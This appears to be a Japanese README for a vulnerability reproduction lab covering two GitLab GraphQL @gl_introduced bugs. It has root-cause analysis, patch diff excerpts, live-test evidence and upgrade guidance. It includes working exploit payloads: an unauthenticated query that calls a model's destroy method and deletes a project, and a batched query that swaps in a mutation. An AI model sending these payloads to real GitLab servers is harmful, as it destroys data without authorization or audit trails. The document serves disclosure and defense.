
2つのGitLab GraphQL `@gl_introduced`ディレクティブの脆弱性(未認証メソッド実行およびバッチ処理されたドキュメントスワップ)に対するPoCエクスプロイトと根本原因分析を提供し、アップストリームパッチとライブ証拠を含みます。
@gl_introduced バージョンフィルターの脆弱性GitLabのGraphQLバージョンフィルター機能(@gl_introducedディレクティブ)に関連する2つのバグの再現ラボです。どちらも同じ機能領域に存在し、同じアップストリームパッチで修正され、いずれもGraphQLリクエストが宣言していないコードパスに到達できるようにします:
@gl_introducedを付けるだけで、任意のGraphQLタイプの背後にあるモデル上で任意のゼロ引数メソッド(例:destroy)を呼び出すことができます。docker-compose.yml Live vulnerable target (GitLab CE 19.2.2), :8929
patch-19.2.2-to-19.2.4.diff The upstream fix, version_filter only (the whole bug in ~60 lines)
harness/
live_test_fallback.sh PoC #1 -- live HTTP exploit, fallback-field method execution (unauthenticated)
live_test.sh PoC #2 -- live HTTP exploit, cross-operation document swap
run_poc.rb PoC #3 -- standalone, isolates the swap in plain graphql-ruby
loader.rb Loads the real 19.2.2 (vuln) or 19.2.4 (patched) version_filter source
Dockerfile Minimal ruby:3.3 runner for PoC #3 (no full GitLab needed)
src/
common/ Unchanged upstream files (shared by both variants) + demo schema
vuln/ Real 19.2.2 source of the files the patch touched
patched/ Real 19.2.4 source of the same files
evidence/
live_vuln_fallback_field.txt Captured output of PoC #1 against the live target
live_vuln.txt Captured output of PoC #2 against the live target
standalone_vuln.txt Captured output of PoC #3 (vuln)
standalone_patched.txt Captured output of PoC #3 (patched)
src/ 配下はすべてアップストリームソースの逐語そのままであり、再実装は一切されていません。ローダーは src/vuln または src/patched を src/common の上に重ねます。
Gitlab::Graphql::VersionFilter::FutureFieldFallback により、クエリは、型にまだ存在しないフィールドを参照してもリクエストが失敗しなくなります。これはローリングデプロイを想定したもので、古いノードのスキーマに、新しいノードがすでに搭載しているフィールドがまだ存在しない場合を対象としています。その get_field オーバーライドは、要求されたフィールドが欠落しているかつリクエストが contain_future_fields とフラグ付けされているかをチェックし、その場合、例外を発生させる代わりに合成フィールドを返します:
# src/vuln/.../future_field_fallback.rb
def get_field(field_name, context = GraphQL::Query::NullContext.instance)
field = super
return field unless future_field?(name: field_name, field: field, context: context)
fallback_field(name: field_name)
end
def fallback_field(name:)
GraphQL::Schema::Field.new(
owner: self,
name: name,
type: GraphQL::Types::Boolean,
fallback_value: nil
)
end
問題は、この GraphQL::Schema::Field がリゾルバメソッドもリゾルバクラスもブロックも持たずに構築されることです。その後、graphql-ruby自身のデフォルトフィールド解決が適用されます(graphql gem 2.6.3、lib/graphql/schema/field.rb):
inner_object.public_send(@method_sym)
@method_sym はフィールド名をアンダースコア化したもの、つまり攻撃者がクエリに入れた文字列そのものです。GraphQLタイプの背後にあるオブジェクト(ActiveRecordモデル)に、たまたまその名前の実在するゼロ引数のパブリックメソッドがあれば、graphql-rubyはそれを呼び出し、(型強制された)結果を返します。fallback_value: nil はメソッドが本当に存在しない場合にのみ適用されます。実在するメソッドの実行を止める効果は一切ありません。
つまり、任意のタイプに対して、実際に存在する破壊的メソッドの名前(例:destroy)をフィールドとしてクエリし、@gl_introduced を付けて実行まで生き残らせれば、そのメソッドが実行されます。
IntroducedTracer は、バージョンフィルター機能の残りを2つのgraphql-rubyトレースフック — parse(オペレーションごとに1回)と execute_query(オペレーションごとに1回)— にわたって実装しています。脆弱なビルドでは、トレースオブジェクト上のプレーンなインスタンス変数にオペレーションごとの状態を格納しています:
# src/vuln/.../introduced_tracer.rb
def parse(query_string:)
@original_query_document = super # <-- shared ivar
@contain_future_fields = false
filter = FutureFieldFilter.new(@original_query_document.dup)
filter.visit.tap { @contain_future_fields = filter.contain_future_fields }
end
def execute_query(query:)
return super unless @contain_future_fields
query.instance_variable_set(:@document, @original_query_document) # <-- swap
query.send(:prepare_ast)
query.context[:contain_future_fields] = @contain_future_fields
super
end
問題は、graphql-rubyがマルチプレックスリクエスト内のすべてのオペレーションに対して1つのトレースインスタンスを共有し、すべてのオペレーションを実行前にパースすることです。 したがって、2オペレーションのバッチでは:
parse(op1) → @original_query_document = op1_doc、@contain_future_fields = falseparse(op2) → @original_query_document = op2_doc、@contain_future_fields = true
(op2は @gl_introduced フューチャーフィールドを持つ)パース後、最後のオペレーションの状態だけが残ります。そして実行が始まります:
execute_query(op1) → フラグは true なので、op1のドキュメントはop2_docで上書きされ、再準備される → op1のスロットがop2のオペレーションを実行します。op1 は読み取りを宣言しましたが、実行されるのは op2 の書き込みです。
patch-19.2.2-to-19.2.4.diff は両方を修正します:
# future_field_fallback.rb -- give the fallback field an explicit resolver,
# so graphql-ruby never falls through to public_send on the field name
resolver_class: Resolvers::NilResolver
# NilResolver#resolve just returns nil, unconditionally -- no dispatch at all
# introduced_tracer.rb -- key the stashed state by each operation's own
# filtered document instead of one shared ivar
@introduced_tracer_data[filtered_document] = { original_document:, contain_future_fields: }
# ...
doc_data = @introduced_tracer_data[query.document] # no cross-operation bleed
query {
project(fullPath: "root/some-public-project") {
id
destroy @gl_introduced(version: "99.0.0")
}
}
Authorization ヘッダーはありません。1オペレーションで、バッチでもありません。destroy は Project の実際のフィールドではありません — スキーマにはまったく存在しません — しかし、ディレクティブによって FutureFieldFilter は静的検証の前にそれを取り除き、実行時に contain_future_fields を作動させ、get_field は destroy という名前のリゾルバなしフィールドを返し、graphql-rubyは project.public_send(:destroy) を呼び出します。
ライブで検証済み(evidence/live_vuln_fallback_field.txt、3つの別々の使い捨てプロジェクトに対して3回再現):パブリックプロジェクトに対して送信したところ、レスポンスは {"data":{"project":{"id":"...","destroy":true}}} でした。その後の認証付きRESTチェック(GET /api/v4/projects/:id)は 404 を返しました — プロジェクトは実際に消えていました。その呼び出しのリクエストログには、同期データベース書き込みが9回、新しい AuditEvent 行はゼロと記録されています:この呼び出しは Projects::DestroyService を完全にバイパスし(それに伴い監査証跡、ウェブフック、通知もすべてバイパス)、GraphQLのデフォルトフィールド解決を通じて直接呼び出される生の ActiveRecord#destroy カスケードです。
sequenceDiagram
participant A as Attacker
participant C as GraphqlController
participant T as IntroducedTracer (one shared instance)
participant S as StarProject mutation
A->>C: POST /api/graphql [ {query: op1}, {query: op2} ]
Note over A: op1 = query { currentUser { username } } (declared read)<br/>op2 = mutation { starProject(...) { count @gl_introduced(version:"99.0.0") } }
C->>T: parse(op1)
Note over T: @original = op1_doc, future=false
C->>T: parse(op2)
Note over T: @original = op2_doc, future=TRUE (overwrites op1 state)
C->>T: execute_query(op1)
T->>T: op1.@document = @original (op2_doc)#59; prepare_ast
T->>S: run starProject ← smuggled into the read slot
S-->>A: slot 1 returns { starProject: { count } } #59; star state changed
Op2ペイロード — @gl_introduced ディレクティブは実在するフィールドに付いていればよく、それによってパース時に FutureFieldFilter が contain_future_fields を立ててすり替えを作動させます:
mutation {
starProject(input: { projectId: "gid://gitlab/Project/1", starred: false }) {
count @gl_introduced(version: "99.0.0")
}
}
ライブで検証済み(evidence/live_vuln.txt):query { currentUser { username } } を宣言したスロット1が {"data":{"starProject":{"count":"0"}}} を返し、プロジェクトのスター数が 1 → 0 に変化します。
docker compose up -d # first boot runs migrations; wait for healthy (~10 min)
GITLAB_URL=http://localhost:8929 \
GITLAB_TOKEN=<PAT with api scope -- used only to create/verify a disposable project> \
bash harness/live_test_fallback.sh
このスクリプトは、認証付きREST APIを介して使い捨てのパブリックプロジェクトを作成し(セットアップのみ)、@gl_introduced が付いた destroy フィールドを指定する1つの認証なしGraphQLクエリを送信し、その後、認証付きRESTでプロジェクトを再確認します。プロジェクトが消えていれば VULNERABLE と判定します。
GITLAB_URL=http://localhost:8929 \
GITLAB_TOKEN=<PAT with api scope> \
PROJECT_FULL_PATH=root/cve-lab-target \
bash harness/live_test.sh
このスクリプトはベースラインのスター状態を読み取り、2オペレーションのバッチを送信し、読み取りを宣言したスロット1が starProject ペイロードを返した場合(および/またはスター数が変化した場合)に VULNERABLE と判定します。
Gitlab::Graphql::VersionFilter を小さなgraphql-rubyアプリに隔離し、GitLabのノイズを一切含めずにすり替えを確認できるようにします。実際のアップストリームソースを読み込みます。
docker build -t cve-2026-19478-poc -f harness/Dockerfile .
docker run --rm cve-2026-19478-poc harness/run_poc.rb vuln # -> VULNERABLE
docker run --rm cve-2026-19478-poc harness/run_poc.rb patched # -> SAFE
両方のベクターは gitlab/gitlab-ce:19.2.2-ce.0 に対してライブで確認されています。GitLabのスタックの異なる層に到達するため、認可における露出はそれぞれ異なります。
トークンなし、バッチなし、クエリ1つ。レスポンスはメソッドの結果を直接返し("destroy": true)、基になるレコードは実際に破棄されます — 認証付きREST(404)とサーバーサイドの証拠(AuditEvent 行がゼロ、1リクエストで9回の同期書き込み)の両方で確認済みであり、GitLabの通常の削除サービスを完全にバイパスすることを意味します。3つの別々の使い捨てプロジェクトに対して独立に3回再現しました。バッキングオブジェクトが実在するゼロ引数の破壊的メソッドを公開している任意のGraphQLタイプが候補となります。
api スコープを持つ任意のトークンがあれば、読み取りを宣言したオペレーションが、決して要求していない書き込みを実行します(スター数 1 → 0、query 型のスロットによって駆動)。トークンなしで送信した場合も、すり替えは依然として発動します — 読み取りスロットは実際に starProject に到達して解決します — しかし、すべてのGitLabミューテーションは Mutations::BaseMutation を継承しており、その self.authorized? ゲートは実行時に動作します:
Ability.allowed?(context[:current_user], :execute_graphql_mutation, :global)
匿名リクエストの場合、current_user は nil であり、GlobalPolicy は rule { anonymous }.policy { prevent :execute_graphql_mutation } を実行します。認証なしで10通りのバッチ構成(順序、フィールド/サブフィールド/インラインフラグメント上のディレクティブ、2オペレーションおよび3オペレーションのバッチ)を網羅的に試しました:乗っ取られたスロットは毎回ゲートに当たり、スター数は決して動きません。
このゲートはミューテーションに固有のものです — 1aには一切関係がなく、1aは Mutations::BaseMutation にまったく触れません。フォールバックフィールドは、認可チェックを一切通さずに、プレーンなクエリ型フィールドとしてモデルに対して直接解決されます。
src/common/demo_app.rb には認可レイヤーがまったくありません — そのミューテーションは単に書き込むだけです。したがって、PoC #3は、認証のないサンドボックス内で、すり替えのメカニズム(読み取りスロットが書き込みを実行する)を示しています。実際のGitLabは、デモが省略している execute_graphql_mutation ゲートを、特に1bに対して強制します。この標準ビルドでは、資格情報なしのミューテーション駆動の書き込みは1b単独では到達できません。到達できるのは1a経由であり、1aはミューテーションを一切必要としません。
18.11.11 / 19.0.8 / 19.1.6 / 19.2.4 以降にアップグレードしてください。修正(diffを参照)は2つのことを行います:future_field_fallback.rb は、graphql-rubyのデフォルトメソッドディスパッチに依存する代わりに、フォールバックフィールドに明示的なリゾルバ(常に nil を返す Resolvers::NilResolver)を提供して1aを修正します。introduced_tracer.rb は、トレーサーのオペレーションごとの状態を共有インスタンス変数の代わりに各オペレーション自身のドキュメントにスコープして1bを修正します。
| 影響を受けるバージョン |
| 18.2 → <18.11.11, 19.0 → <19.0.8, 19.1 → <19.1.6, 19.2 → <19.2.4 |
| 修正済みバージョン | 18.11.11, 19.0.8, 19.1.6, 19.2.4 |
| ラボの対象 | gitlab/gitlab-ce:19.2.2-ce.0 (修正前の最後のビルド) |
| トリガー | GraphQL @gl_introduced ディレクティブ、単独またはバッチ内 |